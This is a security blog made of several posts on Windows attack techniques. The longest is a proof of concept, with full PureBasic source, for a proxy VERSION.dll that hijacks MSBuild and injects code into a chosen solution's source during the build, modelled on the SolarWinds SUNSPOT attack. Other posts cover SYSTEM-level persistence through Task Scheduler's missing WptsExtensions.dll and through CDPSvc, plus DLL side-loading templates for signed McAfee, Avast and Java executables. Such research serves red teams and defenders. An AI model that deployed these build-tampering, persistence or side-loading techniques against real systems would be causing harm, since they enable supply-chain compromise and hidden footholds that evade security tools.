Backdooring MSBuild

17 Jan 2021

In 2020, different United States federal government branches were affected by a massive data breach. One part of these efforts was an attack on SolarWinds and their platform, including the build-infrastructure of their flagship product, SolarWinds Orion. On January 11th, 2021, the CrowdStrike Intelligence Team published an analysis of a malicious tool deployed into SolarWinds’ build environment to inject the SUNBURST backdoor into the SolarWinds Orion platform at build-time.

The CrowdStrike blog post was referred to me by a colleague. Initially, I thought it was pretty sloppy of the SUNSPOT developers to search for MSBuild.exe processes every second, then read the virtual memory of these remote processes to determine if the right solution is being build right now. In addition to all this noise, the SUNBURST attackers created a Scheduled Task to start the implant on every boot.

If one imagines that you are a top of the line attack boutique and compromised different hard targets, including the build-infrasturcture, why do you resort to such a crude way to execute that beautiful implanting attack?

So how could one do better?

MSBuild Revisited

So, MSBuild, the Microsoft engine for building applications, uses (most of the time) XML files to steer the targeted solution’s build process.

One of the first things you’ll notice when inspecting the MSBuild.exe binary is that it is itself a .NET Assembly. So what is the best way to backdoor (almost) any .NET Assembly?

… right, using the version.dll trick.

After running a quick build of an arbitrary solution (e.g. via C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe SomeProject.sln /t:Build /p:Configuration=Release;Platform=Win64) and recording a trace with ProcMon, multiple DLLs are searched in the directory of MSBuild.exe:

{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoree.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ole32.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\api-ms-win-core-winrt-l1-1-0.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\VERSION.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\api-ms-win-core-winrt-string-l1-1-0.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sxs.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WindowsCodecs.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe"}

{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\VERSION.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe"}
{"type":"load-not-found-dll","event_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoree.dll","process_image_path":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe"}

Given these results, we can target MSBuild.exe or the C# compiler (Csc.exe) directly, depending on our preferences and objectives. As CrowdStrike mentioned, the implant checked for the right solution being built, so we also will target MSBuild.exe in our tests.

VERSION.dll Structure

For our purposes, it is enough to know that VERSION.dll exports 17 names, which we need to implement (or forward) to ensure the target’s functionality is not impaired.

__export_name(GetFileVersionInfoA)
__export_name(GetFileVersionInfoByHandle)
__export_name(GetFileVersionInfoExA)
__export_name(GetFileVersionInfoExW)
__export_name(GetFileVersionInfoSizeA)
__export_name(GetFileVersionInfoSizeExA)
__export_name(GetFileVersionInfoSizeExW)
__export_name(GetFileVersionInfoSizeW)
__export_name(GetFileVersionInfoW)
__export_name(VerFindFileA)
__export_name(VerFindFileW)
__export_name(VerInstallFileA)
__export_name(VerInstallFileW)
__export_name(VerLanguageNameA)
__export_name(VerLanguageNameW)
__export_name(VerQueryValueA)
__export_name(VerQueryValueW)

Proof of Concept (PoC)

The following section describes a crude PoC that implements the backdoor functionality in a DLL without the need for reading remote process memory or triggering a process search every second.

The PoC will be written in PureBasic, as no sane attacker will implement his implant in it and copy-pasting of this source is therefore not a concern ;-)

Objectives

The implant should have the following characteristics:

  • no additional running processes
  • no remote process actions (reading/ writing remote process memory, etc.)
  • only trigger on the right solution being build
  • insertion of the backdoor during the build process
  • removal of the backdoored source file after the build process

Implementation

As we saw earlier, the VERSION.dll file is loaded very early by the .NET runtime. By implementing mock-functions, it is possible to verify that the DLL is not only loaded, but the function GetFileVersionInfoSizeW is called right before the build process is executed, as shown in the following figure.

`GetFileVersionInfoSizeW` executed as part of MSBuild.

Given that, it is possible not to rely on any half-baked solution in the DllMain function and get around any problems with the Loader Lock by simply hijacking the call GetFileVersionInfoSizeW, executing our backdoor insertion code, then calling the real GetFileVersionInfoSizeW function and returning its result.

In the PoC presented below, the backdoor is inserted in the call to GetFileVersionInfoSizeW. The source is saved in memory, and as soon as DllMain is called with DLL_PROCESS_DETACH, the backdoor-code is removed by restoring the previous source code.

Conclusion

Targeting MSBuild directly by copying our VERSION.dll to the MSBuild directory, ensures better operational security as no additional processes need to be created, the memory search can be omitted and every build is captured, as our code is directly executed by MSBuild.

Inserted backdoor code at MSBuild run.

Source

Source and a compiled binary is available in the blog’s Github repo.

; ***************************************************************************
; *                                                                         *
; * Author:      marpie (marpie@a12d404.net)                                *
; * License:     BSD 2-clause                                               *
; * Copyright:   (c) 2021, a12d404.net                                      *
; * Status:      Prototype                                                  *
; * Created:     20200116                                                   *
; * Last Update: 20200117                                                   *
; *                                                                         *
; ***************************************************************************
EnableExplicit

; ---------------------------------------------------------------------------
;- Consts

#TARGET_SOLUTION = "ConsoleApp1.sln"
#BACKDOOR_CODE = "public Class1() { Console.WriteLine(" + Chr(34) + "Hello from the Static initializer!" + Chr(34) + "); }"
#BACKDOOR_INSERT_AFTER = "class Class1 {"

#BACKDOOR_ALIVE = $c45c9bda8db1
#MIN_SIZE = 100 ; 100 bytes

; ---------------------------------------------------------------------------
;- Variables
Global mux.i = #Null      ; set in DLL_PROCESS_ATTACH
Global hVersion.i = #Null ; orig version.dll handle
Global active.i = 0       ; checked in CleanupBackdoor

Global origContent.s = ""   ; ptr to memory of the original source
Global origContentSize.i = 0 ; size of the original source

; ---------------------------------------------------------------------------
;- Backdoor Handling

Procedure.s GetTargetFilePath()
  Define i.i
  Define path.s
  For i = 0 To CountProgramParameters()
    path = ProgramParameter(i)
    If CountString(path, #TARGET_SOLUTION) > 0
      ProcedureReturn GetPathPart(path) + "Program.cs"
    EndIf
  Next
  ProcedureReturn ""
EndProcedure

Procedure.b ReadOrigContent(hFile.i)
  Define res.b = #False
  FileSeek(hFile, 0, #PB_Absolute)
  Define size.i = Lof(hFile)
  Define *mem = AllocateMemory(size)
  If ReadData(hFile, *mem, size) <> size
    Goto ReadAllCleanup
  EndIf
  origContent = PeekS(*mem, size, #PB_UTF8)
  origContentSize = Len(origContent)
  res = #True
ReadAllCleanup:
  If *mem
    FreeMemory(*mem)
  EndIf
  ProcedureReturn res
EndProcedure

; InsertBackdoor needs to be called from a function holing mux!
Procedure.b InsertBackdoor(path.s)
  Define res.b = #False
  
  Define hFile.i = OpenFile(#PB_Any, path, #PB_File_SharedRead | #PB_UTF8)
  If Not hFile
    ProcedureReturn res
  EndIf
  
  ; read file content
  If Not ReadOrigContent(hFile)
    Goto InsertBackdoorError
  EndIf
  
  ; check if the right code is present
  Define pos.i = FindString(origContent, #BACKDOOR_INSERT_AFTER)-1
  If pos < 0
    Goto InsertBackdoorError
  EndIf
  
  ; revert file to 0
  FileSeek(hFile, 0, #PB_Absolute)
  TruncateFile(hFile)
  
  ; write content till start of backdoor
  Define writeSize.i = pos+Len(#BACKDOOR_INSERT_AFTER)
  Define sizeLeft = writeSize
  If WriteString(hFile, Left(origContent, writeSize), #PB_UTF8) = 0
    ; we should add a restore of the original file here
    ; ... depending on the write error ...
    Goto InsertBackdoorError
  EndIf
  
  ; write backdoor
  writeSize = Len(#BACKDOOR_CODE)
  
  If WriteString(hFile, #BACKDOOR_CODE, #PB_UTF8) = 0
    ; we should add a restore of the original file here
    ; ... depending on the write error ...
    Goto InsertBackdoorError
  EndIf
  
  ; write rest of file
  writeSize = origContentSize-sizeLeft
  If WriteString(hFile, Right(origContent, writeSize), #PB_UTF8) = 0
    ; we should add a restore of the original file here
    ; ... depending on the write error ...
    Goto InsertBackdoorError
  EndIf
  
  res = #True
InsertBackdoorCleanup:
  CloseFile(hFile)
  ProcedureReturn res
InsertBackdoorError:  
  If Len(origContent) > 0
    origContent = ""
    origContentSize= 0
  EndIf
  Goto InsertBackdoorCleanup
EndProcedure

Procedure ActivateBackdoor()
  LockMutex(mux)
  ; check if the backdoor is already alive
  If #BACKDOOR_ALIVE = active
    Goto ActivateBackdoorCleanup
  EndIf
  ; check if we have the right solution
  Define targetFilepath.s = GetTargetFilePath()
  If Len(targetFilepath) < 1
    Goto ActivateBackdoorCleanup
  EndIf
  
  MessageRequester("ActivateBackdoor", "Hello World from Solution: " + #CRLF$ + ProgramParameter(0))
  
  ; init backdoor
  If InsertBackdoor(targetFilepath)
    active = #BACKDOOR_ALIVE
    MessageRequester("ActivateBackdoor", "... backdoor insered ...")
  Else
    MessageRequester("ActivateBackdoor", "... backdooring failed ...")
  EndIf
  
ActivateBackdoorCleanup:
  UnlockMutex(mux)
  ProcedureReturn
EndProcedure

Procedure CleanupBackdoor()
  LockMutex(mux)
  If #BACKDOOR_ALIVE = active
    active = #Null
    ; Do cleanup here
    If origContentSize <> 0
      Define hFile.i = CreateFile(#PB_Any, GetTargetFilePath(), #PB_UTF8)
      If hFile
        WriteString(hFile, origContent, #PB_UTF8)
        CloseFile(hFile)
      EndIf
      origContent = ""
      origContentSize = 0
    EndIf
  EndIf
CleanupBackdoorCleanup:
  UnlockMutex(mux)
  ProcedureReturn
EndProcedure

; ---------------------------------------------------------------------------
;- DllMain Stuff

ProcedureDLL AttachProcess(Instance)
  mux = CreateMutex()
EndProcedure

ProcedureDLL DetachProcess(Instance)
  CleanupBackdoor()
EndProcedure

; ---------------------------------------------------------------------------
;- orig VERSION.dll Stuff

Procedure.i LoadVersionDll()
  Define res.i = #Null
  LockMutex(mux)
  If #Null = hVersion
    ; load version.dll
    Define dllPath.s = GetEnvironmentVariable("windir") + "\system32\version.dll"
    hVersion = OpenLibrary(#PB_Any, dllPath)
  EndIf
  res = hVersion
CleanupLoadVersionDll:
  UnlockMutex(mux)
  ProcedureReturn res
EndProcedure

;BOOL GetFileVersionInfoA(
;  LPCSTR lptstrFilename,
;  DWORD  dwHandle,
;  DWORD  dwLen,
;  LPVOID lpData
;);
ProcedureDLL.i GetFileVersionInfoA(a1.i, a2.l, a3.l, a4.i)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoA", a1, a2, a3, a4)
EndProcedure

;BOOL GetFileVersionInfoExA(
;  DWORD  dwFlags,
;  LPCSTR lpwstrFilename,
;  DWORD  dwHandle,
;  DWORD  dwLen,
;  LPVOID lpData
;);
ProcedureDLL.i GetFileVersionInfoExA(a1.l, a2.i, a3.l, a4.l, a5.i)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExA", a1, a2, a3, a4, a5)
EndProcedure

;BOOL GetFileVersionInfoExW(
;  DWORD   dwFlags,
;  LPCWSTR lpwstrFilename,
;  DWORD   dwHandle,
;  DWORD   dwLen,
;  LPVOID  lpData
;);
ProcedureDLL.i GetFileVersionInfoSizeExW(a1.l, a2.i, a3.l, a4.l, a5.i)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeExW", a1, a2, a3, a4, a5)
EndProcedure

;DWORD GetFileVersionInfoSizeA(
;  LPCSTR  lptstrFilename,
;  LPDWORD lpdwHandle
;);
ProcedureDLL.i GetFileVersionInfoSizeA(a1.i, a2.i)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeA", a1, a2)
EndProcedure

;DWORD GetFileVersionInfoSizeExA(
;  DWORD   dwFlags,
;  LPCSTR  lpwstrFilename,
;  LPDWORD lpdwHandle
;);
ProcedureDLL.i GetFileVersionInfoSizeExA(a1.l, a2.i, a3.i)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoSizeExA", a1, a2, a3)
EndProcedure

;DWORD GetFileVersionInfoSizeExW(
;  DWORD   dwFlags,
;  LPCWSTR lpwstrFilename,
;  LPDWORD lpdwHandle
;);
ProcedureDLL.i GetFileVersionInfoExW(a1.l, a2.i, a3.i)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExW", a1, a2, a3)
EndProcedure

;DWORD GetFileVersionInfoSizeW(
;  LPCWSTR lptstrFilename,
;  LPDWORD lpdwHandle
;);
ProcedureDLL.i GetFileVersionInfoSizeW(a1.i, a2.i)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoExW", a1, a2)
EndProcedure

;BOOL GetFileVersionInfoW(
;  LPCWSTR lptstrFilename,
;  DWORD   dwHandle,
;  DWORD   dwLen,
;  LPVOID  lpData
;);
ProcedureDLL.i GetFileVersionInfoW(a1.i, a2.l, a3.l, a4.i)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoW", a1, a2, a3, a4)
EndProcedure

; int hMem, LPCWSTR lpFileName, int v2, int v3
ProcedureDLL.i GetFileVersionInfoByHandle(a1.i, a2.i, a3.i, a4.l)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "GetFileVersionInfoByHandle", a1, a2, a3, a4)
EndProcedure

;DWORD VerFindFileA(
;  DWORD  uFlags,
;  LPCSTR szFileName,
;  LPCSTR szWinDir,
;  LPCSTR szAppDir,
;  LPSTR  szCurDir,
;  PUINT  puCurDirLen,
;  LPSTR  szDestDir,
;  PUINT  puDestDirLen
;);
ProcedureDLL.i VerFindFileA(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "VerFindFileA", a1, a2, a3, a4, a5, a6, a7, a8)
EndProcedure

;DWORD VerFindFileW(
;  DWORD   uFlags,
;  LPCWSTR szFileName,
;  LPCWSTR szWinDir,
;  LPCWSTR szAppDir,
;  LPWSTR  szCurDir,
;  PUINT   puCurDirLen,
;  LPWSTR  szDestDir,
;  PUINT   puDestDirLen
;);
ProcedureDLL.i VerFindFileW(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "VerFindFileW", a1, a2, a3, a4, a5, a6, a7, a8)
EndProcedure

;DWORD VerInstallFileA(
;  DWORD  uFlags,
;  LPCSTR szSrcFileName,
;  LPCSTR szDestFileName,
;  LPCSTR szSrcDir,
;  LPCSTR szDestDir,
;  LPCSTR szCurDir,
;  LPSTR  szTmpFile,
;  PUINT  puTmpFileLen
;);
ProcedureDLL.i VerInstallFileA(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "VerInstallFileA", a1, a2, a3, a4, a5, a6, a7, a8)
EndProcedure

;DWORD VerInstallFileW(
;  DWORD   uFlags,
;  LPCWSTR szSrcFileName,
;  LPCWSTR szDestFileName,
;  LPCWSTR szSrcDir,
;  LPCWSTR szDestDir,
;  LPCWSTR szCurDir,
;  LPWSTR  szTmpFile,
;  PUINT   puTmpFileLen
;);
ProcedureDLL.i VerInstallFileW(a1.l, a2.i, a3.i, a4.i, a5.i, a6.i, a7.i, a8.i)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "VerInstallFileW", a1, a2, a3, a4, a5, a6, a7, a8)
EndProcedure

;DWORD VerLanguageNameA(
;  DWORD wLang,
;  LPSTR szLang,
;  DWORD cchLang
;);
ProcedureDLL.i VerLanguageNameA(a1.l, a2.i, a3.l)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "VerLanguageNameA", a1, a2, a3)
EndProcedure

;DWORD VerLanguageNameW(
;  DWORD  wLang,
;  LPWSTR szLang,
;  DWORD  cchLang
;);
ProcedureDLL.i VerLanguageNameW(a1.l, a2.i, a3.l)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "VerLanguageNameW", a1, a2, a3)
EndProcedure

;BOOL VerQueryValueA(
;  LPCVOID pBlock,
;  LPCSTR  lpSubBlock,
;  LPVOID  *lplpBuffer,
;  PUINT   puLen
;);
ProcedureDLL.i VerQueryValueA(a1.i, a2.i, a3.i, a4.l)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "VerQueryValueA", a1, a2, a3, a4)
EndProcedure

;BOOL VerQueryValueW(
;  LPCVOID pBlock,
;  LPCWSTR lpSubBlock,
;  LPVOID  *lplpBuffer,
;  PUINT   puLen
;);
ProcedureDLL.i VerQueryValueW(a1.i, a2.i, a3.i, a4.l)
  ActivateBackdoor()
  ProcedureReturn CallCFunction(LoadVersionDll(), "VerQueryValueW", a1, a2, a3, a4)
EndProcedure

; ---------------------------------------------------------------------------

; IDE Options = PureBasic 5.73 LTS (Windows - x64)
; ExecutableFormat = Shared dll
; CursorPosition = 85
; FirstLine = 60
; Folding = -----
; Executable = version.dll
; CompileSourceDirectory
; EnablePurifier
; IncludeVersionInfo
; VersionField2 = Microsoft Corporation
; VersionField3 = Microsoft® Windows® Operating System
; VersionField5 = 10.0.20190.1000 (WinBuild.160101.0800)
; VersionField6 = Version Checking and File Installation Libraries
; VersionField7 = version
; VersionField8 = VERSION.DLL
; VersionField9 = © Microsoft Corporation. All rights reserved.
; VersionField15 = VOS_NT
; VersionField16 = VFT_DLL

Persistence using Task Scheduler without a Scheduled Task

30 Oct 2019

TL;DR: The Windows Task Scheduler service (Windows 10 and Windows Server 2016) try to load the non-existing DLL WptsExtensions.dll from %windir%\system32 enabling persistence as NT AUTHORITY\SYSTEM.

A couple of days ago I talked with a colleague and the topic turned to persistence and quickly to Scheduled Tasks. Personally, I don’t like Scheduled Tasks as a persistence mechanism as I think they are too obvious, noisy and every blue-teamer and admin knows about them, so you get caught quickly. After the talk I wondered if there is a way to persist with the Task Scheduler service without creating a new Scheduled Task. The following section explains the way I found. It is by no means a very original method or very stealthy, but at least a little stealthier as another task like 0neDrive Updater.

Details

With Windows 10 Microsoft introduced the WPTaskScheduler.dll (WP Task Scheduler DLL) that is loaded by the following stack:

- schedsvc.dll -> ServiceMain()
  - schedsvc.dll -> JobsService...
    - schedsvc.dll -> JobsService::Initialize()
      - schedsvc.dll -> JobsService::InitializeWPTS()

The InitializeWPTS-function loads WPTaskScheduler.dll and resolves WptsInitialize as shown in the following screenshot.

InitializeWPTS

After the function is correctly resolved it gets called and that enables us to persist. One of the first tasks inside WPTaskScheduler.dll::WptsInitialize() is to call InitializeWPTS(). That function in turn loads the non-existing WptsExtensions.dll and resolves the following functions, if the DLL was found and loaded correctly:

InitializeWPTS

So how do I persist now?

The easiest way to persist is to create a DLL exposing the required functions (see above) and copying that DLL to %windir%\system32\WptsExtensions.dll. Reloading the scheduler service loads our DLL. Most of the time if you are already on the system executing code you don’t need to reload the Task Scheduler service, but post-exploitation tactics vary depending on the operator…

The cherry on top …

Sometimes our favorite C2 framework is not that stable, so payloads crash or get stuck. The nice thing, if we implement only stub-functions for the required Wpts... exports is, that the WP Task Scheduler module is not initialized correctly which means, that the JobsService will call our ThreadAttach and ThreadDetach functions multiple times an hour.

Using this circumstance we can implement a checkAlive function that tries to determine if our beacon is still functioning correctly and if not the beacon-thread can be killed and a new beacon-thread is spawned resuming the C2 connection without manual intervention of the operator.


Windows 10 Persistence via PATH directories - CDPSvc

13 Jan 2019

TL;DR: CDPSvc searches the file cdpsgshims.dll inside PATH directories and loads it if found.

CDPSvc is the Connected Devices Platform Service, enabled by default under Windows 10 (since 1607). If an attacker is able to write in any directory specified in the system PATH, this allows to persist on the system as NT AUTHORITY\LocalService.

The issue is not considered a security-vulnerability, but rather a security-relevant misconfiguration. With a default Windows installation, there can’t be a non-admin directory in the PATH, so this can’t be exploited.

Download: A sample DLL (source included) that executes calc.exe is available here: CDPSvcPersist


DLL Side-Loading for Fun (and Profit?) - Day 7

07 Jan 2019

TL;DR: see Part 1 for an introduction to this series and an overview of the available posts.

To continue with the leaders in security information and event management we can use the FWInstCheck.exe tool included in the McAfee Endpoint Security product to side-load our own code.

  • Name: McAfee Endpoint Security (x64)
  • Executable: FWInstCheck.exe
  • SHA256: 1ea5f32debb79f98c23918e8c246eddab323b2760696abbeafaf30c454c39982
  • SHA1: fe00e9375ac7fb3ca90ae7ed3fcd9670a3575409
  • MD5: a872d5f425658524b7dbc8972f670042
  • Certificate: McAfee, Inc./VeriSign Class 3 Code Signing 2010 CA/VeriSign Class 3 Public Primary Certification Authority - G5

DLL-Template:

; ***************************************************************************
; *                                                                         *
; * Author:      marpie (marpie@a12d404.net)                                *
; * License:     BSD 2-clause                                               *
; * Copyright:   (c) 2019, a12d404.net                                      *
; * Status:      Prototype                                                  *
; * Created:     20190107                                                   *
; * Last Update: 20190107                                                   *
; *                                                                         *
; ***************************************************************************
EnableExplicit

; ---------------------------------------------------------------------------
;- Prototypes
Macro LoopForever()
  Sleep_(-1)
EndMacro

Macro DbgOutFunctionName()
  OutputDebugString_("Func: " + #PB_Compiler_Procedure)
EndMacro

Macro DummyExport(proc_name)
  ProcedureDLL proc_name()
    DbgOutFunctionName()
    LoopForever()
  EndProcedure
EndMacro

; ---------------------------------------------------------------------------
;- Exports: cryptbase.dll - FWInstCheck.exe (McAfee Firewall Installer check exe)

DummyExport(SystemFunction001)
DummyExport(SystemFunction002)
DummyExport(SystemFunction003)
DummyExport(SystemFunction004)
DummyExport(SystemFunction005)
DummyExport(SystemFunction028)
DummyExport(SystemFunction029)
DummyExport(SystemFunction034)
DummyExport(SystemFunction036)
DummyExport(SystemFunction040)
DummyExport(SystemFunction041)

; ---------------------------------------------------------------------------

DummyExport(AttachProcess) ; -- just to block on AttachProcess...

ProcedureDLL DetachProcess(Instance)
  DbgOutFunctionName()
EndProcedure

ProcedureDLL AttachThread(Instance)
  DbgOutFunctionName()
EndProcedure

ProcedureDLL DetachThread(Instance)
  DbgOutFunctionName()
EndProcedure

Download: I do not provide the executables in question as they can easily be found on the Internet and I don’t want any eager companies to send me DMCA take-down letters ;-). Hybrid Analysis / reverse.it or VirusTotal are always happy to help with downloads for these files…

A description of all executables will be collected on Github: signed-loaders


DLL Side-Loading for Fun (and Profit?) - Day 5 & 6

06 Jan 2019

TL;DR: see Part 1 for an introduction to this series and an overview of the available posts.

Since I forgot to post yesterday, I merged the two posts. So below you’ll find DLL side-loading targets using Oracle Java and Avast Antivirus Business.

For Oracle Java the DLL-Template is provided below. For the Avast target, just create a DLL (wsc.dll) with one export (called _run@4) and execute wsc_proxy.exe.

Avast Antivirus Business (x86)

  • Name: Avast - Antivirus Business(x86)
  • Executable: wsc_proxy.exe
  • SHA256: 81aa1e5578e99de5d99d775910704aa1e92b50139fc1a1a9a5fb1d60a3a7897e
  • SHA1: 03aaf714728eae7ba833bdf36be15a3136f4bb46
  • MD5: 39f551472d83951eae833db975991219
  • Certificate: AVAST Software s.r.o./DigiCert High Assurance Code Signing CA-1/DigiCert High Assurance EV Root CA

Oracle Java (x64)

DLL-Template (Java):

EnableExplicit

; ---------------------------------------------------------------------------
;- Prototypes
Macro LoopForever()
  Sleep_(-1)
EndMacro

Macro DbgOutFunctionName()
  OutputDebugString_("Func: " + #PB_Compiler_Procedure)
EndMacro

Macro DummyExport(proc_name)
  ProcedureDLL proc_name()
    DbgOutFunctionName()
    LoopForever()
  EndProcedure
EndMacro

; ---------------------------------------------------------------------------
;- Exports: deploy.dll - javacpl.exe

DummyExport(GetCurrentJavaHomeFromRegistry)

; ---------------------------------------------------------------------------
;- Exports: jli.dll for java-rmi.exe and others

DummyExport(JLI_CmdToArgs)
DummyExport(JLI_GetStdArgc)
DummyExport(JLI_GetStdArgs)
DummyExport(JLI_Launch)
DummyExport(JLI_MemAlloc)

; ---------------------------------------------------------------------------

ProcedureDLL AttachProcess(Instance)
  DbgOutFunctionName()
EndProcedure

ProcedureDLL DetachProcess(Instance)
  DbgOutFunctionName()
EndProcedure

ProcedureDLL AttachThread(Instance)
  DbgOutFunctionName()
EndProcedure

ProcedureDLL DetachThread(Instance)
  DbgOutFunctionName()
EndProcedure

Download: I do not provide the executables in question as they can easily be found on the Internet and I don’t want any eager companies to send me DMCA take-down letters ;-). Hybrid Analysis / reverse.it or VirusTotal are always happy to help with downloads for these files…

A description of all executables will be collected on Github: signed-loaders